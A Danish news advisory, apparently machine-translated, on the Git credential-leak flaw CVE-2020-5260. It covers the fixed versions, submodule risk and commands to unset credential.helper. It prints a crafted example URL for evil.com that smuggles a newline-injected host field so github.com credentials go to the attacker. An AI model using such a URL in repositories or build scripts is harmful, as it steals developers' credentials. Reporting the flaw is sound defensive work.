Git-legitimationslækage-sårbarhed

Udgivet korrigerende udgivelser af det distribuerede kildekontrolsystem Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 og 2.17.4 i som eliminerede sårbarhed (CVE-2020-5260) i handleren"credential.helper", hvilket forårsager, at legitimationsoplysninger sendes til den forkerte vært, når en git-klient tilgår et lager ved hjælp af en specielt formateret URL, der indeholder et linjeskifttegn. Sårbarheden kan bruges til at sørge for, at legitimationsoplysninger fra en anden vært sendes til en server, der kontrolleres af angriberen.

Når du angiver en URL som "https://evil.com?%0ahost=github.com/", vil legitimationsbehandleren, når der oprettes forbindelse til værten evil.com, videregive de godkendelsesparametre, der er angivet for github.com. Problemet opstår, når du udfører operationer såsom "git clone", inklusive behandling af URL'er for undermoduler (for eksempel vil "git submodule update" automatisk behandle de URL'er, der er angivet i .gitmodules-filen fra repository). Sårbarheden er mest farlig i situationer, hvor en udvikler kloner et lager uden at se URL'en, for eksempel, når man arbejder med undermoduler, eller i systemer, der udfører automatiske handlinger, for eksempel i pakkeopbygningsscripts.

For at blokere sårbarheder i nye versioner forbudt videregivelse af et nylinjetegn i alle værdier, der sendes gennem legitimationsudvekslingsprotokollen. For distributioner kan du spore udgivelsen af ​​pakkeopdateringer på siderne Debian, Ubuntu, RHEL, SUSE/openSUSE, Fedora, Arch, FreeBSD.

Som en løsning til at blokere problemet anbefales Brug ikke credential.helper, når du får adgang til offentlige arkiver, og brug ikke "git clone" i tilstanden "--recurse-submodules" med umarkerede repositories. For fuldstændigt at deaktivere credential.helper-handleren, hvilket gør konservering og hente adgangskoder fra cache, beskyttet depoter eller en fil med adgangskoder, kan du bruge kommandoerne:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

Kilde: opennet.ru

Tilføj en kommentar